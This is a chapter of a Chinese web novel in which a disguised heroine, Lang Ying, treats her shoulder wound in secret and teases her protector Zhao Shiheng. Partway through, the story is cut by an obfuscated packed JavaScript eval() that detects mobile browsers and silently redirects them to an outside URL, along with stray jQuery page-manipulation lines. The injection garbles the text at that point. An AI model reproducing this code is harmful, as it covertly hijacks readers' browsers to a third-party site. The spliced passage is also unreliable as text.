赵世衡拽着她的一只耳朵,引着她的身子向他靠近。
郎瑛气得舌头也不疼了,直乱拨琴弦,激发一阵魔音,窗外野猫毛发乍起,喵呜乱叫,一跃而下,黑影无踪。
这当口,耳边上的两根手指也松了,一只小瓷瓶稳稳塞入她手中。
郎瑛握住瓷瓶轻晃,瓶子发出扑簌簌的声响,估摸着约有小半瓶的份量。
“金疮药。”赵世衡道。
她摇摇头,舌尖的酥麻未散,含糊不清地道:“舌头没事儿,只是咬着了。”
赵世衡手指点着她的脑门,起身,又看着她肩膀,皱眉道:“若不是渗了血,肩膀上的伤,你要骗我到几时?”
那日,为了毒杀福顺公公,经一番颤抖后她力竭晕倒。当从赵世衡的屋舍醒来时,她惊觉肩膀上的伤口彻底崩开,鲜红色的血透过中衣染在了小吏粗布衣裳,自以为不甚明显,却仍被赵世衡发觉。
这瓶金疮药,她早想向赵世衡讨要,却并不愿让他知晓肩膀上的伤。她便琢磨起,不如佯装失手,蹭破点手掌、胳膊,顺势赖下一瓶,等到半夜再偷偷用在肩头。
郎瑛捂着嘴巴:“阿巴阿巴……”
“舌头的伤更严重了?”
郎瑛点头。
“说不出话了?”
继续点点头:“……唉?”
赵世衡捏住她的后脖颈,一路提到书案前,将她压进圈椅,从后握住她的右手执笔,手掌牢牢覆盖白净手背,齐齐贴在宣纸上。
郎瑛使劲缩回的双手,被一股更大的力道压在原地,后脑勺紧紧靠着赵世衡弯下的胸膛。
郎瑛微微偏首,千般托辞,在脸颊与赵世衡下颌相挨的瞬间,哽在喉中。
“说不出,那便写。”
赵世衡声量不大,却清晰入耳。
他的嘴唇六个字的开合,牵引下颌微动,在与她相贴的肌肤上细腻地磨合。
一点火星入油锅。
郎瑛顿感脸颊灼热,烫得她缩起脖子,没骨头似的滑下了圈椅,在地砖上躺得舒舒服服,双手拽着桌腿,脚底蹬着圈椅。
这字,她是一字不写了!
看着躺在地上白色纸片般的人,赵世衡抚着额头,无声地笑了,直起身,将金疮药放在书案上,便阖门向外走去。
郎瑛支起胳膊,侧身从地上爬起来,心中暗想:还好二哥往日无赖至极,她能仿着他的样子闹一闹,否则实不知该如何收场。
非是她有受虐倾向,不愿在入后湖的第一日向赵世衡说明肩膀伤口,只是,按照对他脾性了解,一旦知情,必得亲自动手敷药,并命她每日来此换药。
若她真是男儿身便一切好说,可最大的问题是她是女娇娥,一丝纰漏都足以前功尽弃、身败名裂。
又何谈能查清阿兄案情真相呢?
屋舍中没有一面铜镜,郎瑛只能解开澜衫,伸出半只臂膀,站在浴桶旁,借着死水的倒影,依稀辨认着伤口的位置。
郎瑛手臂交叉,努力够着肩膀:“自己抱自己得再用力一点,吸气……吸……嘶……”
药粉撒入伤肉的瞬间,巨大痛感,令她呼吸停滞,一口气堵在喉咙上下不得,她双手掐住浴桶边,忍受着痛意在肩膀炸开,游蹿在四肢百骸。
花几上,香炉缓缓吐烟。
慢慢调整着呼吸,一道四合香缓缓进入肺腑,疼痛这头野兽被驯服,不再嘶吼、跳跃,乖巧地消逝于夏夜。
当赵世衡再踏入房舍时,郎瑛正趴在床几上休整,香炉不知何时从花几也挪了过来。
听到脚步声,郎瑛笔直地起身,脑袋带着晕眩,微微摇晃。
汗水打湿她的额发,丝丝缕缕贴在脸颊,倒像是个未学飞的小雏鸟,羽翼贴在身上,不倒翁般地晃来晃去,嘴里叽叽喳喳:“大哥哥……”
赵世衡摸出一把蒲扇,发黄的蒲叶轻轻一扫,凉风阵阵,如果不小心拍脑袋上,也是硬如钢铁。
郎瑛捂住脑袋:“不过是说一句老人家的物件,为什么又拍我脑袋?”
“前一句。”赵世衡扇风力度不减,吹得郎瑛面色由红转粉。
郎瑛小声嘀咕:“‘你不仅常服老气,扇子也是百岁高龄的样子’,是这句吗?”
“再前一句。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803278|186738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
郎瑛假装惊讶:“有吗?没了呀。”
赵世衡手中的蒲扇正待要拍上郎瑛脑门,郎瑛及时地“恍然大悟”,道:“记起来了!是‘好妹夫’!”
郎瑛一手捂头,一手抢过蒲扇:“怎么又敲我两下?”
赵世衡从她的指缝抽走扇子,自顾自扇着。
“不管现在、未来你是不是我妹夫。”郎瑛追着蒲扇风,将脸凑过去,“大哥哥永远是大哥哥,这一点是改变不了的,我很真诚的……大哥哥,你为我多扇点风罢,这天还是很闷热的。”
嘭——
郎瑛后颈又被提起,电光石火间,赵世衡将她赶出了房舍。
她说错了什么话吗?
……
好像没有吧。
思索间,身后的门扉打开。
嘭——
郎瑛转身的瞬间,一个东西飞出,那扇门又轰然闭合。
看着手里多出的一把蒲扇,郎瑛幽幽扇着,再次捋着惹恼赵世衡那句话的前后语序。
“好妹夫,你不仅常服老气,扇子也是百岁高龄的样子,真像老人家的物什……”郎瑛蹲在廊下,摸着猫猫头,挥走趴在她鼻尖上的流萤,反复思量。
这短短的一句话,哪里出问题了呢?
郎瑛猛地抱着三花猫起身,拍着门道:“大哥哥,我知错了,不该说你老气。我从未觉得你老,虽然与你同龄的同僚,娃娃可以打酱油了,但是我知道你志在社稷,为国效力,儿女情长你从无挂碍、过往云烟。”
“年方二十五而已,虽然看起来不小,但也并不算特别老,年长其实也有年长的魅力。刑部宝尚书之女宝珠对你芳心暗许数载,她正值妙龄,若说图你岁数大,那必不可能,必定因你的风度仰慕于你。因此,我刚才说你老气都是顽笑话,大哥哥可千万不要放心上——”
霎那间,烛火通明的内屋,瞬间漆黑,两三点火星在黑暗中明灭。
赵世衡下了逐客令。
郎瑛抱着猫低声说:“那大哥哥好生歇息,明日再来叨扰。我明天是真的有关于驳册的正事和你说,我先走了。”